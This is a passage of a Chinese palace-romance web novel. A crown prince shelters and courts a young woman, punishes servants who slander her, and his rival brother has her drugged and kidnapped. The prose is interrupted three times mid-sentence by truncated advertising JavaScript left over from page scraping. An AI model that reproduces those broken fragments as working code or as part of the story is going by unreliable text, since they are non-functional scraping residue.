“嗯?”和其他人什么? 谢知寒很快明白过来小姑娘指的是什么,他失声轻笑,声音很有磁性。 只是一声就让江露染方寸大乱,殿下凭什么连笑也这么好听。 真不公平。 他两指捏住小姑娘的下巴,漆黑的瞳仁与她对视,尾音像带着钩子。 “孤从来没有让他人近过身,”他顿了顿,继续道:“除了晓晓。” 殿下是不会骗她的。 殿下既然说没有那就是真的没有。 明明得到了自己想要的答案,可江露染还装作一副满不在乎的模样。 “没有就没有,关我什么事?” 谢知寒眼眸眯了眯,越发迫近她,从她的角度可以看到殿下浓密的羽睫。 她不自主地向后动了动。 可是身后就是小榻的边缘,退无可退。 她被他逼到小榻的一角,方寸之地,谢知寒看着小姑娘此时才意味到危险的神色。 他缓缓开口,有些漫不经心:“孤的事跟你无关?晓晓再说一遍?” 28. 第 28 章 他的语气危险而沉重,在浓重夜色的掩映下,听上去更甚。 殿下从来都是风轻云淡,不疾不徐,对任何事都心有成竹,稳操胜券。 在江露染心中,谢知寒就像是天边皎洁的明月,光风霁月而又不染纤尘。 她从来都没有见过殿下如此模样,带了点危险,身上带了她很不熟悉的感觉。 有点陌生,心中升起异样的感觉,好像发现了什么了不得的小秘密。 殿下他原来也是会如此的。 谢知寒意识到江露染在走神,他的晓晓不知道在想什么,很是出神。 可是他本人就在她眼前,她还有时间去想其他的人和事吗? 谢知寒越发贴近她,几乎是鼻尖贴着鼻尖,他的声音有点哑,带了点沉。 像是一场沉静的落雨。 “晓晓,在想什么呢?怎么不回答孤的话?嗯?” 江露染这才猛然回神,她微微一动,两个人更是贴近,呼吸相闻。 浓重的檀香味袭来,密不透风的将她裹住。 江露染敛着眉眼,视线与他错开,却被谢知寒毫不留情地捏住下巴,迫使她望着他。 “殿下的事...自然是我的事...” 她的语气很些低,想来是在害羞,得到了自己想要的答案,谢知寒放开对她的桎梏。 此时夜已深,清凉的月色从窗外流淌过来。 江露染的声音低而柔软,带了些许迟疑。 “殿下,夜已深,我...有些困了...” 她不好意思直接问殿下她要宿在哪里,这也太害羞了吧。 谢知寒完全不在意的将她揽在怀中,指尖可以触碰到她的腰肢。 他身上的檀香越发清冽,几乎要渗透进她的每一寸皮肤。 “你是孤的人,自然要和孤在一起。” 可是,可是,男女授受不亲,殿下才因为自己而受了伤,若是继续这样殿下恐怕会罚的更厉害。 那样怎么可以。 江露染显现出犹疑:“殿下,不可以这样。若是如此,恐怕陛下会...” 她的未尽之意非常明显,今日已经为此受罚,若是今夜再不知礼,恐怕明日皇帝的怒意只会更盛。 天子之怒,总归是很可怕的。 她不能一而再,再而三让殿下遭遇这种情况。 她不要成为殿下的累赘。 看着江露染很是担忧的眉眼,谢知寒面色淡淡,看不出什么明显的情绪。 说出的话却很清晰,带着一股执意和冰寒。 “孤的事,还轮不到旁人插手。” 说着,谢知寒将怀中的姑娘抱起,揽着她一同躺在榻上,这样太不妥当,被人知晓还不知要被传成什么样子。 江露染伸出手轻轻推了推旁边的人,谢知寒好久都没有讲话,半晌,才听到他缓缓开口,声音有些低沉。 “晓晓,你轻些,孤有些疼。” 她触碰到的是他的手腕,又不是他的伤口,再说,就是轻轻一碰,哪里就这么疼了。 她想反驳几句,可是看到谢知寒眉眼上的倦色,她就忍住了。 殿下已经很累了,她自然不可以再给他添麻烦。 她静静躺在他身侧,尽力让自己的呼吸平稳下来,这是她第一次与殿下离的那么近,他就这样躺在她身边,只要她一转身,就可以碰到他。 江露染强迫自己不去想其他的事情,只是入睡,就让自己睡着就好了啊。 江露染脑海中胡思乱想,不自觉向小榻外侧翻了一个身。 很快,她就感觉自己的手腕被紧紧地扣住,而后有一股不容忽视的力量将自己拉回来。 谢知寒的指尖修长,有点凉,扣住自己的力量却很强硬。 江露染抬眼看他,只见殿下的眼眸仍旧平静地敛着,看上去像是睡着了。 可是她手腕间传来的力量却告诉她,不是这样的。 殿下此时跟她一样无眠。 他腕间的檀木珠子贴近她的肌肤,触感有些粗粝,被他握住的皮肤传来一阵酥麻,很快蔓延至四肢百骸。 这样是否过于亲密了,江露染轻轻挣扎了下,但很快被谢知寒再次紧紧地握住。 谢知寒另一只手紧紧将她拥入怀中,语气慵懒而散漫:“晓晓,不要再闹了,已经不早了,孤明日还要去上早朝。” 江露染只好乖乖在他怀中,一只一只的数羊。 也不知晓数到第几只羊时睡着了,再醒来的时候身侧已经没有人了。 身上却好好地披着殿下的氅衣,上面清冽的药香和檀香交织在一起。 江露染惊醒,偌大的东宫殿中只剩下她一个人,不知为何,此时殿内竟然没有一个宫人。 不过幸好也没有,否则她可要就要找个地缝钻进去了。 江露染将殿下的氅衣叠好,南风适时的出现。 对着她恭谨道:“江姑娘。” 江露染看到熟悉的人心中一松,对着南风道:“南风,殿下呢?” “殿下去上早朝了。” 江露染:“殿下何时走的?” 她竟然一点声音也没有听到。 南风看了她一眼,宫中谁人不知,殿下一向清冷寡欲,不近女色。 但殿下昨日回宫就带回了一个女子,昨夜还和女子同室而眠,对于宫中众人而言,已经是石破天惊。 况且殿下今日还要去上早朝,不知道要面对何种非议。 面前的少女却什么也不知晓。 南风心中有些复杂,但也知晓这是殿下的事,做为下属,他是不可以置喙的。 南风遵从殿下安排将江露染带去明轩阁。 明轩阁临近东宫正殿,是一处景色秀美,建筑雅致的居所。 明轩阁的宫人很早之前就接到了殿下的命令,说是让把明轩阁打扫干净。 宫人都战战兢兢,以为殿下会到明轩阁来。 但今日,明轩阁的宫人见到来的是一个小姑娘,楚腰纤纤,眉目稠丽,是个倾城的美人。 宫人皆是一怔,东宫殿内一向规矩森严,且从未有过任何外来女子,今日南风却堂而皇之带来一个女子,也没有听说陛下为殿下选太子妃啊。 况且外来女子来东宫内殿是不是有些不合规矩。 明轩阁的掌事宫女兰芷莲步轻移,走到南风面前,向南风行了个礼,而后缓声道:“不知这位姑娘是?” “这位是...江姑娘。” 兰芷微不可察地皱眉,哪有这样介绍人的,只说是江姑娘,连个完整的名讳都没有透露。 怕不是哪里来的上不得台面的人吧。 宫中那么多人想打太子殿下的主意都没有成功,这位倒是有些手段。 也不知是用了何种见不得的人的法子哄骗了殿下。 兰芷眼中已是藏了轻蔑,但举止仍旧恭谨,对着江露染福身:“原来是江姑娘,请随我来。” 南风眼见自己的任务完成,就退出了明轩阁。 望着这许多陌生人,江露染心中一颤,她有些不太适应。 突然好想殿下,要是殿下在她身边她一定不会害怕。 南风望了她一眼,眼神中满含鼓励,意思是别怕。 可是她初来乍到,面前又是如此多不认识的人,她怎么可能不害怕。 兰芷已经做出请的动作,江露染也只能随着她走进殿中。 殿内设计精巧,金玉辉煌,可是太大太空了,这里很好,一切都很好,可是没有殿下。 她觉得有些冷且孤单。 她走到窗前,突然发现院外的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 小花圃中种满了云梦花,此时已经开满了花。 她有些惊喜,她最喜欢的花就是云梦,没想到殿下这里也种了云梦花。 江露染惊喜地踏出殿外,走到云梦花侧深深嗅着花的香味。 兰芷眼中鄙夷更甚,连半分礼仪也无,果真是上不得台面的。 恐怕就是殿下的一时兴起,若是哪日被殿下抛弃,哭都没地哭。 殿下怎么会让她服侍这样的人。 * 谢知寒一身雪白氅衣立于百官之首,身姿清隽至极。 谢衡站于另一侧,望了谢知寒一眼。 “听闻父皇罚了皇兄,皇兄身子可还好?” 谢知寒眉眼淡淡扫了他一眼,语气平静至极:“孤的事,不需皇弟操心。” 这回答也算是无可指摘,但谢衡觉察到谢知寒的忽视。 他虽然看着自己,但是眼里却没有自己,一直都是如此。 谢衡心中升起一股难言的怒气。 场内的喧嚣随着青奚帝的到来随之结束,太子被罚是大事,况且太子此次有功。 朝会的内容就是围绕谢知寒被罚一事展开了激烈的辩驳。 谢知寒其实不怎么关心这个。 他只觉得今日的朝会格外漫长,他只想回到东宫,问问晓晓喜不喜欢特意为她种植的云梦花束。 而知晓她喜欢云梦花,也是南风偶然说破。 关于昨日的惩处,谢知寒立于原地未发一言。 而此时朝会的话题早已转到太子殿下带回一个宫外女子,而这是否合乎礼仪。 青奚帝望了一眼处于下首的谢知寒,明显感觉到他对朝会的心不在焉。 青奚帝轻咳一声:“太子倒是说说,关于这名宫外女子你打算如何处置?” 处置。 他们这群人竟然想要自己处置晓晓? 简直荒唐,他们以为自己是谁,竟然可以掌控自己和晓晓之间的事。 他的晓晓也是这群人可以妄议的,简直是可笑至极。 谢知寒轻笑出声,有些讽意。 众人都等着他的回答,却只是见他微微抬眸,面色一如既往的淡然,语气却透露出一种不可辩驳的冷硬。 “孤的事,孤心中自有决断,何况,”他顿了顿,而后一字一句道:“若是没有她,那孤早就死在了回京的路上。” 此话一出,众人怔在原地。 原来那女子竟然救过太子殿下的性命,那照理说来,那女子对殿下有恩。 怪不得一向清冷寡欲的太子殿下会突然将一陌生女子带回宫中。 想来不日东宫便要增添一位女主人。 太子妃之位恐怕是不太可能,良娣昭训倒是可以争取一下。 青奚帝望一眼谢知寒,昨日那顿惩处还是没有让他吃到教训,不过此时他也顾不得谢知寒,国师最近调配出一批新的丹药,他着急去用药。 青奚帝散了早朝。 朝臣如潮水般向殿外退去。 “殿下。”户部尚书唤住面前清冷的人影。 “殿下此举是否过于惹眼,为一女子值得吗?” 谢知寒看着面前的人,这是母后唯一的兄长,亦是自己的舅舅。 谢知寒温声:“舅舅放心,孤心中自有决断。” 他的晓晓自然是值得这世上最好的。 终于回到心心念念的东宫,谢知寒立刻就到明轩阁去。 甫一踏入殿内,就听到有窃窃私语声。 “也不知晓这女子是谁,竟然不知羞耻,为了以后的荣辱,竟是连脸面都不要了。” “偏生让我们叫她江姑娘,名不正言不顺凭什么这样唤她。” “我看殿下也就贪图两日新鲜罢了,如此不知礼数,京中哪位公子看得上她。” 29. 第 29 章 声音尖刻,丝毫不留情面。 是兰芷在与其他宫人腹诽。 江露染正从园中的云梦花下走来,这尖刻的声音自然传到了她的耳中。 她垂在身侧的手指微微瑟缩了一下,心中好似被细小的针尖刺中,有些疼。 她停下步子,有风吹过她的脸颊,有些冷,江露染这才意识到,原来此时的天气竟然是这么寒凉,是啊,此时已经是深秋了。 心中的刺痛很快蔓延至全身,但江露染努力调整好自己,没关系,她们或许是无心的,她已经为殿下添了很多麻烦,此时已经不可以再给殿下惹祸。 毕竟,昨日那种伤她已经不想看殿下再受了。 谢知寒凝神看向角落中肆无顾忌的宫人,精致的眼眸中已经透出了凛冽的寒意,宫人很快觉察到身体周传来的寒意,纷纷拢了拢衣衫。 眼中很是不解,明明此时也未起风,为何突然而来一阵令人寒冷至极的意味。 有眼尖的宫人看到处于门侧的谢知寒,心中一惊,立刻过去给谢知寒请安,也不知方才的话被殿下听去了多少。 不过,她们也没有说错,这个来历不明的女子的确不知晓身份,殿下一向赏罚分明,应当不会迁怒于自己的。 兰芷对着谢知寒盈盈一拜,腰肢柔软,自己在明轩阁当了好几年的差,从来没有办错过一件事,殿下两年前还曾夸赞过她。 说她举止有度,当为东宫宫人典范。 殿下想必一定是不会惩罚自己的。 谢知寒凝视着面前的宫人,目光寒凉,他手腕上的檀珠轻轻滑落至腕骨,触感有些粗粝,他回想起昨日与晓晓那般亲密,她的手腕也曾毫无距离的接近过这串檀珠。 他们紧紧拥抱在一起,呼吸相闻。 他甚至可以感受到她的心跳,和自己的心跳声交织在一起。 渐渐同步。 谢知寒望着他们,良久都没有开口,只是他周身越发寒凉,带着清晰而凛冽的怒意。 很久都不见殿下叫起,宫人已经有些疲累。 兰芷也隐隐觉察出不对劲,殿下对东宫宫人一向都是善待,今日仿佛有些不对劲。 谢知寒身量很高,只是站在那里就已经产生了很大的压迫感,更遑论他此时身上还有明显的怒意。 更是令人胆战心惊。 谢知寒目光凉凉看着眼前的众人,他的晓晓他自己都不敢多说一句话,这些人究竟是有多么大的胆子,竟然在暗中如此诋毁他的晓晓。 真是妄为之至。 谢知寒缓声开口,完全不留一丝情面。 “来人,将这些人都罚去永巷。” 宫人怀疑自己听错,可抬眼看到一向清冷淡然的殿下,面上却是冷峻,完全不容任何人置喙。 宫人这才意识到自己真的错了,纷纷求饶,兰芷也是心中一惊,她不过就是说了几句,殿下就为了一个不知何处来的外人,将自己打入永巷。 这是否太不留情面了。 她们好歹也在明轩阁服侍了这么多年。 兰芷这才想起告饶,但是为时已晚,她们已经被人拉下去了。 谢知寒眸中冰寒一丝未减,直到南风知晓匆匆赶来,才对着他吩咐:“重新给明轩阁再找些宫人,告诉她们一定要谨言慎行,知道什么该说,什么不该说。” 南风领命下去。 谢知寒这才缓步向殿内走去。 才走了几步,就看到站在不远处的江露染,她今日穿了月白色襦裙,头上一根简单的步摇,步摇的穗子此时在风中轻轻晃动。 谢知寒脚下一顿,方才的事情晓晓一直站在这里。 也就是说,那些宫人的话晓晓也都完全听见了。 谢知寒眸中冰寒瞬间散去,很快染上一丝无措。 这才刚来宫中,就让晓晓听见这些事情。 谢知寒顿了顿,走到少女面前,此时夕阳西下,落日鎏金。 暖黄色的日光投射到谢知寒身上,在他周围覆上一层暖黄的光晕。 他的影子映到江露染身上,江露染微微眨了一下眼睛,长长的睫毛微微颤动。 看到那双含着水的杏眸一眨不眨地望着自己,谢知寒心中一颤,是他不好。 总是让她一次又一次的受到伤害。 谢知寒牵过她的手腕,檀珠再次与两人肌肤再次亲密的接触,粗粝的触感从二人手腕处传来。 “晓晓,以后都不会有这种事情发生,孤对你保证。” 江露染看着面前的人,姿态清隽,语气却是不容忽视的执拗。 殿下说的话她自然相信,只是这样是否对殿下的名誉不太好。 她望着面前人漆黑似墨的眼瞳,将自己眼中的水雾努力眨了回去。 低声道:“殿下不必如此,我不在乎的。” 我不在乎那些流言蜚语,我更担心的是殿下你的声誉。 你本来就应该如皎洁的明月高悬于天际,不应该为了我染上尘埃。 谢知寒望着少女的杏眸,一字一句道:“可孤在乎。” 今日的殿下似乎有些奇怪,江露染却说不上来。 但是看着谢知寒的眼瞳,她的心逐渐安定下来。 她快速眨了几下眼睛,就听到谢知寒继续道:“日后东宫不会再有人对晓晓有非议,若是以后再有这样的事发生,晓晓就惩罚孤,怎么样都可以。” “我怎么敢惩罚殿下。” 殿下又在逗她。 谢知寒眼见小姑娘不开心的面庞有所松动,面上才缓和下来。 这个世上没有人可以让他的晓晓不开心,就连他自己也不行。 谢知寒牵着她到云梦花下,花束开的正茂,静静地看着树下的一对璧人。 “喜欢吗?”谢知寒摘下一朵云梦花放到她的手心。 手心处传来淡淡的花香,还夹杂着一缕似有若无的檀香。 “喜欢,晓晓没有想到,这里也会有这样多的云梦花。” 谢知寒望着眼前少女言笑晏晏,唇边也蔓延出笑意。 她自然不会知晓,这些云梦花是在他知晓她心悦时,传书到东宫令人去移植来的。 为的就是想让晓晓一进东宫就看到她喜爱的花束。 江露染将云梦花戴到头上,踮起脚尖俏皮道:“殿下,好看吗?” 他的晓晓自然怎样都是最美的。 谢知寒轻微地咳嗽一声,江露染顿时担忧起来。她握住他的手腕,她的手指白皙细腻,微微有些凉。 “殿下,是不是不舒服?” 还没有等到谢知寒回答,江露染就自顾自拉着谢知寒向殿内走去。 “外面太冷了,殿下快随我进来。” 这一下子就有了几分主人的味道,谢知寒任由她牵着自己,一步一步向殿内走去,眉眼之间透露出柔和。 殿内很是温暖,香炉正燃烧着清淡的熏香。 沁人心脾。 江露染望着谢知寒的背影,很是担忧。 “殿下,伤口还疼吗?” 虽然殿下行为举止与常人无异,但是那样重的伤口又怎么可能这么快痊愈。 昨晚涂的那瓶药是太医特地调配的药丸,可以药到病除。 今日他的伤口已经不怎么疼了。 那明明是他留给晓晓的,但是兜兜转转还是用到了自己这里。 看来以后得让太医多配几瓶。 谢知寒望进江露染担忧的眼神,突然很想逗逗她。 他微微皱了皱眉,一向古井无波的面上露出些许裂痕,看上去是在像是...疼的有些狠了。 殿下他果然还是受不住。 江露染扶着他到小榻边坐下,谢知寒任由她在一旁操劳,乐得清闲。 江露染很快觉察到殿下的一身轻松,不由得看了他一眼。 殿下,他怎么还是不拿自己的身体当回事。 看来昨日与殿下说的那些都没有用。 江露染轻轻旋开药瓶,殿内很快盈满了清苦的药香。 谢知寒看向她细白的手指,竟然与瓷瓶的白皙不遑多让。 江露染手中拿稳药瓶,轻声开口:“殿下,还需要涂药吗?” 其实是不需要的。 但是谢知寒仍旧点了点头,嗯了一声,尾音听上去有些沙哑。 像是清晨的雨滴落在回廊之上。 江露染手持药瓶缓缓走近,殿下身上的檀香味越发浓郁,逐渐侵袭到她身体的每一寸。 又要解开殿下的外衫,又要...看见殿下裸露出来的皮肤。 她倏地想到一个成语,肌肤相亲。 可是她与殿下还远远不到那个程度。 她与殿下做过最亲密的事也不过就是和衣共眠了一晚而已。 江露染缓了缓神,将自己从漫无边际的联想之中抽出身来。 她现在要做的事就是给殿下涂药,缓解殿下的痛苦,不可以再胡乱想些其他的了。 江露染走到谢知寒身侧,刚想让谢知寒解开衣襟,手腕突然就被身边人握住,带着一股不容置疑的感觉。 江露染只觉身体一斜,很快就躺在了谢知寒怀中。 江露染此时还惦记着药瓶,殿下可是指望这瓶药救命的。 谁知谢知寒抬手就将她手中的药瓶取走了,毫不在意地置于一侧的桌案上。 他手指微微用力,将怀中的少女抱的更紧了些。 江露染还在担心他后背的伤口,如此大的举动,伤口会不会裂开。 “殿下,你的伤...” 谢知寒却毫不在意道:“伤口已经痊愈了。” 什么,既然伤口已经痊愈了,那殿下此时是在做什么? 今日午后宫女的话还历历在目,说她是个不知检点的女子,那话现在还回想在她耳边,一字一句清晰无比。 她伸出纤细手指推拒他,虽然她心悦殿下,殿下...也心悦自己。 可是为了彼此的声誉,她不可以再做昨日那种事情了。 对自己和对殿下来说都会造成不好的影响。 “殿下,不可以如此。”她说出口的话也带着抗拒的意味。 但谢知寒仍旧紧紧地扣着她的肩,将她牢牢控制在自己怀中,而后附在她的耳畔。 江露染听到谢知寒一字一句道:“晓晓,孤想立你为太子妃。” 他的声音清晰,带着坚决,此时埋在她的肩窝,她可以感受到他身上温热的呼吸。 酥麻的感觉从肩侧逐渐蔓延到四肢百骸。 殿中只有他们两个,香炉中的熏香仍自静静的升起,在殿中扩散开一股令人安心的味道。 不知道这明轩阁燃的是哪种熏香,味道倒是好闻。 他们离得那样近,几乎可以听到彼此的心跳声。 一下又一下,永不停歇。 此时此刻,他的身边只有她,而她的身侧也只有殿下。 似乎全天下所有人都在此刻消失殆尽,只有他们二人相依相伴,共度余生。 江露染从来都没有想过太子妃的位置,她只是想陪在殿下身边。 想告诉他,在他难过的时候,永远都会有人等在他的身后。 殿下 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 他,从来都不是自己一个人。 殿下突然这么说,真是有点吓到她了。 毕竟昨日殿下才被被陛下责罚,若是执意如此她也能想到陛下该是如何的震怒。 她轻轻动了动,谢知寒却仍旧将她牢牢地抱在怀中。 不允许她动一丝一毫。 江露染无奈开口:“殿下为何突然这么说,是有人在早朝上说了什么吗?” 谢知寒回忆起早朝的情景,眉毛微微簇了起来。 那群人竟然敢那样说他的晓晓,不要说他今日许诺晓晓太子妃之位,就连皇后他的晓晓也是当得的。 江露染见谢知寒久久无言,知道一定是自己猜对了。 殿下他已身处波谲云诡之中,她怎么可以再给他增添负累。 她轻声道:“殿下其实不必执意如此。” 太子妃之位太高太远太危险,她并不是很想要。 谢知寒闻言抬眸看她,目光如炬,如墨般的瞳仁明亮。 “晓晓不想当孤的太子妃?” 江露染还没有回答,就听到谢知寒自顾自地说了下去。 “还是说,晓晓想当别人的妻子,不想当孤的妻子?” 他的问话很是平静,但江露染还是没来由的觉察到一阵危险。 她刚想开口解释,就听到谢知寒继续道:“晓晓当初已经答应了孤,那么孤这一辈子都不会放手。”说着,他冷白如玉的手指缓缓抚上她的脸侧:“晓晓哪里都别去,只待在孤身边,好吗?” 夜色逐渐蔓延上来,殿内烛火不是很亮,殿内满是暖黄的色调。 殿下此刻就在她的身边,她一转眼就可以看到他清晰流畅的下颌,窗外的月色蔓延到他身上,给他覆上一层浅色的光环,使他变得比月色还要明亮,还要皎洁。 仿佛是九天之上遥不可及的谪仙。 可是这位清冷无比的谪仙方才还在一字一句地问自己。 “愿不愿意做他的太子妃?”以及“只待在他的身边。” 他的声音在月色下显得无比魅惑,声音低沉,似是含着无数情绪。 她的心本来就因他的一举一动而牵扯,此时她又怎能不去答应他的话。 “晓晓会一直陪在殿下身边。” 不会离开你的。 “孤一向相信晓晓,晓晓既这么说,那孤就信了。” “晓晓不能欺骗孤,否则孤可不会轻易饶了晓晓。” 谢知寒的声音字字句句都很认真,一点也不像是开玩笑。 江露染却觉得殿下过于担忧,她怎么可能会主动离开他。 永远不会有那一日的。 夜已深沉,谢知寒还是回了东宫的正殿。 毕竟,他还没有将晓晓立为太子妃,昨日夜里那种事情不应该在继续发生了。 纵然他想,他也要为他的晓晓考虑。 但是没关系,正殿与明轩阁距离如此之近,他和晓晓也可以同时展望同一枚月亮,共享同样的相思。 江露染此时却在陌生的床榻上有些害怕,明轩阁太大了,就显得很空旷。 即使殿中燃着烛火,江露染也显得有些害怕。 她强迫自己努力入睡,一只一只地数着羊,好不容易睡着了,却是做了很可怕的噩梦。 梦境中她被曲洲的那几个人包围到墙角,那些人围的很密,她根本就找不到逃离出去的方法,只是眼睁睁地看着那些人距离越来越近,越来越近... 她吓得不禁失声尖叫,可是没有人听到她的呼救,她似乎被彻底遗忘了。 梦境中的可怕逐渐蔓延到全身,江露染浑身颤抖,不断打出断断续续的尖叫。 谢知寒回了正殿,依旧有些睡不着,他推开窗子,天上的那轮明月皎洁而明亮,高悬在那里。 他仿佛在月亮中看到了江露染的眼眸。 明亮而带着水色,似湖面般盈盈。 他突然想去看看晓晓在做些什么,即使他们才是仅仅分开了半刻。 自从遇见晓晓,他就知晓了什么叫做随心而行。 他想去见她,自然就去见她了。 无所谓时间,也无所谓地点,只是想去见她。 殿下下午才处置了一批宫人,东宫守夜的宫人自然是不敢对殿下多加劝阻。 只是隐隐感觉到,自从这位江姑娘来了以后,殿下他似乎变了许多,跟以前很是不一样了。 刚一踏进明轩阁内,他就听到阁中传来一阵急切的呼唤。 谢知寒心中一紧,倏地想起在曲洲之时晓晓也是这样梦魇过。 谢知寒急速地踏进殿中,走到内室。 一眼就看到江露染躺在床上,面色苍白,额间隐隐透出汗珠,此时晶莹的汗珠正顺着她的脸庞缓缓滑下。 谢知寒急速走到少女面前,将她紧紧搂在怀中。 少女唇中依旧吐出破碎的言语,显然是深深陷在噩梦之中。 谢知寒轻轻拍着她的背,不断地唤她晓晓。 眼看晓晓还是没有反应,仍旧深深陷在梦魇之中。 谢知寒看了她皱起来的眉眼,在她额上轻轻覆了一个吻。 少女很快安静下来,眉眼中的悲伤和焦躁很快消失不见,取而代之的是一片安宁。 江露染此时深深陷入绝望,她觉得自己逃不出这些人的魔爪。 可是她却倏地感觉到有人在自己额上轻轻落下一个吻。 那个吻很轻,像一片羽毛,在她的心间扫过,一触即离。 但这个吻却给了她无限安定的力量,让她觉得,是有人在保护着自己的。 30. 第 30 章 一直看着江露染从梦魇中清醒过来,谢知寒给小姑娘掖好被角,看着她重新陷入睡眠,谢知寒才走出明轩阁。 谢知寒望着头顶的皎皎明月,他对着月亮心底喃喃。 他一定会保护好她的晓晓。 任何人都不能伤害她。 * 翌日,南风将自己手中一片黑色衣角拿给谢知寒。 谢知寒长指捏着那片衣角,衬得他的手指越发的白,日光倾泻在他指尖,留下一片暖黄的光晕。 他手中的那片衣角有些污浊,其上弥漫着淡淡的血腥味。 正是回曲洲之时,突然遭遇刺杀的黑衣人身上的。 南风拱手道:“殿下,属下去那日马车中找寻,偶然发现这片衣角。” 应当是那日打斗之时,刺客无意留下的。 那片黑色衣角上画了一朵很浅的莲花,不仔细看根本看不出来。 那是京中有名的青莲教。 父皇曾多次派人围剿,可是效果甚微,谢衡私下竟与这些人有染。 谢知寒手中握着那片衣角良久,瞳孔淡漠,猜不透他真正的情绪。 片刻后,他才将手中那片围着莲花纹样的衣角交给南风,缓声交代,密切注意青莲教的动向。 南风应声后退下,殿中很快安静下来。 谢知寒眉眼沉沉,他手中只有衣角是动不了谢衡的,但也知晓了他在与何人合作,也是好的。 只要谢衡或者青莲教有所行动他必定能很快察觉。 果然,青莲教在两日后就在京中有异常的举动,被南风抓到其中一个人,抓在狱中严加审问。 消息很快传到了谢衡那里,谢衡表面很是平静,但是心中慌乱至极。 李贵妃在他数次将茶杯碰倒的情况下,实在忍不住开口:“到底是何事惊慌?你可是皇子,怎可如此失仪。” 谢衡将情况告知了李贵妃,她忍不住说了他几句。 “你既然做了为何不做的天衣无缝,为何还要这样给人留下把柄?” 谢衡深知是自己考虑有失,对李贵妃的指责的确也说不出任何反驳的话。 但是事已至此,总要想出补救的方法才成。 李贵妃沉思片刻,一贯宁静的眉眼透露出一股狠辣。 “宫中谁人不知他将明轩阁那丫头看的像个眼珠子似的,若是可以将那个丫头收入自己手中,那岂不是如鱼得水。” 谢衡听到李贵妃如此说,眉目渐渐舒朗起来。 母后说的对,以往谢知寒无懈可击,是因为他没有弱点。 而今时今日,谢知寒已经有了如此明显的软肋,他怎么倒是忘了呢。 谢衡唇边漫出一丝阴冷的笑容,皇兄,看我如何给你送一份大礼。 而京中的青莲教因有人被困在牢中,心中不忿,是以在京中的活动越发猖獗起来,谢知寒奉青奚帝之命前去围剿。 “殿下,你要走了吗?”江露染看着谢知寒身穿一身戎衣,满身尽是杀伐之意,她深知殿下此行是去做正事,但眼中仍旧显露出不舍。 她好几日就要看不到殿下了。 谢知寒敛去眉目间的杀伐之气,一向淡然的眼瞳此时流露出无限情谊,对着眼前的少女道。 “晓晓好好等孤回来,不会很久。” 她虽不舍,还是认真点了点头。 殿下让她等他,她就会等他。 “孤忘了一件东西。” “什么?”江露染有些不明所以。 “孤忘了戴晓晓绣的香囊。” 原来是这个,不就是一个香囊。 可谢知寒却非要让她为他系上他才肯走,江露染系好香囊,谢知寒却一把将她揽入怀中,在她额上轻轻覆上一个吻。 这里还有这么多人都在看着呢!殿下到底知不知羞! 江露染耳尖顿时漫上薄红,站在原地有些不知所措。 谢知寒看到小姑娘害羞的模样,不知为何心中涌上一阵满足,他覆在她耳边,再一次承诺:“晓晓等孤回来。” 江露染看着他清隽的身影走出东宫,走过长长的甬道,最后变成一个小小的点,消失不见。 这下东宫真的只剩下自己了。 江露染突然觉得很冷,她裹紧了衣衫。 东宫富丽堂皇,是最严整的宫殿。 可是没有殿下,再大的房间对江露染来说也是冰冷且没有意义的。 殿下,你可一定要平安归来。 晓晓在这里等你。 没有谢知寒在,江露染在东宫过的食不知味。 也不知殿下何时会回来,江露染拿着手中的花数花瓣,此时一个宫人慌张前来,对着江露染道:“南风侍卫出了事情,说要请姑娘过去一趟。” 南风出了事,江露染立即站了起来,将手中的花束放置于一旁,急切道:“他在哪里,快些带我过去。” 江露染随着这个宫人一路走出了东宫,而眼前的路越来越昏暗,越来越陌生。 江露染停下脚步,逐渐反应过来。 面前这个宫人恐怕是故意带她出来的,她向后退了一步,缓缓道:“我突然想起还有些事,要回去了。” 而后又向后退了一步。 可是为时已晚,身后突然伸出一双手捂住了她的口鼻,鼻尖传来奇异的甜香,江露染很快就不省人事。 身后男声传来,这件事你做的很好,这是给你的赏赐。 宫人双手接过包裹,里面沉甸甸的,她欢欣地谢恩:“多谢二皇子。”而后急急退去了。 谢衡看着怀中的少女,眉眼稠丽,倒是一个绝代佳人,不过眉眼间透露的满是天真。 原来自己那个一向清心寡欲,清冷至极的皇兄喜欢这样的人,看上去除了样貌出众些,其他的倒也...不过如此。 江露染醒来之时,发现自己的手脚都被绳索绑住,力气很大,半点都挣脱不得。 口中也被塞了棉布,说不出一句话。 她只是轻轻动了动,就听到一旁有个陌生的男声道:“醒了?” 江露染警惕的向后挪了一小步。 “比我预计的时辰要提前些。”那男声继续道。 江露染不知晓他是谁,但是能在戒律森严的宫中将自己骗走,且行事如此缜密的人,想来也不会是个简单的人。 怪就怪在她还是轻信了他人。 可是那人用南风骗她,让她怎能不心焦。 那人缓缓起身,在她身边缓缓踱了一圈,姿态闲适。 当他正对着她时,她这才看清了面前人的脸庞。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 剑眉星目,姿态贵气。 眉眼间与谢知寒有些相像,只是远不如殿下容貌俊秀,像是一个复刻的赝品。 江露染很快就猜到了他的身份,二皇子谢衡。 殿下就是因为他而屡次受到伤害,因为他才数次不开心的吗?江露染眼眸中透露出凌厉的怒意。 谢衡敏锐地察觉到江露染眼眸中的情绪。 明明自己才是始作俑者,可以随意掌控眼前少女所有的一切。 可这少女眼眸中一丝恐惧也无,取而代之的倒是凛冽的怒意。 不过是一个宫外的一个野丫头罢了,谁给她的勇气这么看待自己。 不过谢衡倒是不着急,左不过是自己手中一只逃不出去的兔子,他何必为了一只兔子生气。 他取下塞在少女口中的棉布,在面前的圈椅下姿态闲适地坐下,缓声道:“说说。” 她跟他有什么好说的,这个做事阴森的坏人。 谢衡望她一眼,指尖点在圈椅边缘:“说说,你到底是怎么勾引我皇兄的?” 果然是他,他竟然还好意思唤殿下皇兄。 “关你什么事?” 谢衡眉毛微挑,这还是第一次听到有人在宫中敢这么对他说话。 上一个如此对他说话的人还是李贵妃。 谢衡怒极反笑:“原来我竟不知,皇兄看上的人果真一无是处,不。” 他顿了顿,继续道:“简直是和我那皇兄一样蠢笨无比。” 江露染眉眼间的怒意更甚,说自己可以,但是将殿下也扯上算什么。 再说,他这种人也配提殿下的名讳。 真是没有自知之明。 江露染刚想出声反驳,就被棉布堵住了声音。 